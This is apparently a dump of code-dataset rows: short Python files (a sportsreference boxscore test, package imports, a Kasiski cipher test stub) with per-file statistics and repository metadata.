from flexmock import flexmock from mock import patch, PropertyMock from sportsreference import utils from sportsreference.constants import AWAY, HOME from sportsreference.ncaaf.boxscore import Boxscore class MockField: def __init__(self, field): self._field = field def text(self): return self...
33.213075
74
0.659984
1,663
13,717
5.10463
0.080577
0.098952
0.075392
0.049005
0.863942
0.850866
0.821063
0.815526
0.797031
0.779479
0
0.007832
0.246045
13,717
412
75
33.293689
0.812996
0
0
0.676375
0
0
0.106073
0.012831
0
0
0
0
0.097087
1
0.126214
false
0
0.016181
0.016181
0.177994
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
a0a1d8e7c75410214e75561ffdca101d3d004520
77
py
Python
overwrite_base_import/models/__init__.py
xpheragroup/FJAgosto21
aad1ba8104a6ea1dfcc39fc250897465872ea930
[ "MIT" ]
1
2022-01-21T16:23:20.000Z
2022-01-21T16:23:20.000Z
overwrite_base_import/models/__init__.py
xpheragroup/FJAgosto21
aad1ba8104a6ea1dfcc39fc250897465872ea930
[ "MIT" ]
null
null
null
overwrite_base_import/models/__init__.py
xpheragroup/FJAgosto21
aad1ba8104a6ea1dfcc39fc250897465872ea930
[ "MIT" ]
1
2022-03-02T21:41:46.000Z
2022-03-02T21:41:46.000Z
# -*- coding: utf-8 -*- from . import base_import from . import file_import
15.4
25
0.675325
11
77
4.545455
0.636364
0.4
0
0
0
0
0
0
0
0
0
0.015873
0.181818
77
4
26
19.25
0.777778
0.272727
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
a0a704a01a0619ddfc39c9e8ba47289113b862e9
67
py
Python
jacdac/rng/__init__.py
microsoft/jacdac-python
712ad5559e29065f5eccb5dbfe029c039132df5a
[ "MIT" ]
1
2022-02-15T21:30:36.000Z
2022-02-15T21:30:36.000Z
jacdac/rng/__init__.py
microsoft/jacdac-python
712ad5559e29065f5eccb5dbfe029c039132df5a
[ "MIT" ]
null
null
null
jacdac/rng/__init__.py
microsoft/jacdac-python
712ad5559e29065f5eccb5dbfe029c039132df5a
[ "MIT" ]
1
2022-02-08T19:32:45.000Z
2022-02-08T19:32:45.000Z
# Autogenerated file. from .client import RngClient # type: ignore
22.333333
44
0.776119
8
67
6.5
1
0
0
0
0
0
0
0
0
0
0
0
0.149254
67
2
45
33.5
0.912281
0.477612
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
26145b5822393511cd8980dfad69253bbe1c6be7
49
py
Python
tests/kasiski_attack_test.py
lucas-sg/CryptoAlgorithms
50b7605c08505cb0343e2dc2398e7045d4a154c0
[ "MIT" ]
1
2020-03-17T03:42:09.000Z
2020-03-17T03:42:09.000Z
tests/kasiski_attack_test.py
lucas-sg/CryptoAlgorithms
50b7605c08505cb0343e2dc2398e7045d4a154c0
[ "MIT" ]
null
null
null
tests/kasiski_attack_test.py
lucas-sg/CryptoAlgorithms
50b7605c08505cb0343e2dc2398e7045d4a154c0
[ "MIT" ]
null
null
null
import pytest from src.kasiski_attack import *
9.8
32
0.795918
7
49
5.428571
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.163265
49
4
33
12.25
0.926829
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6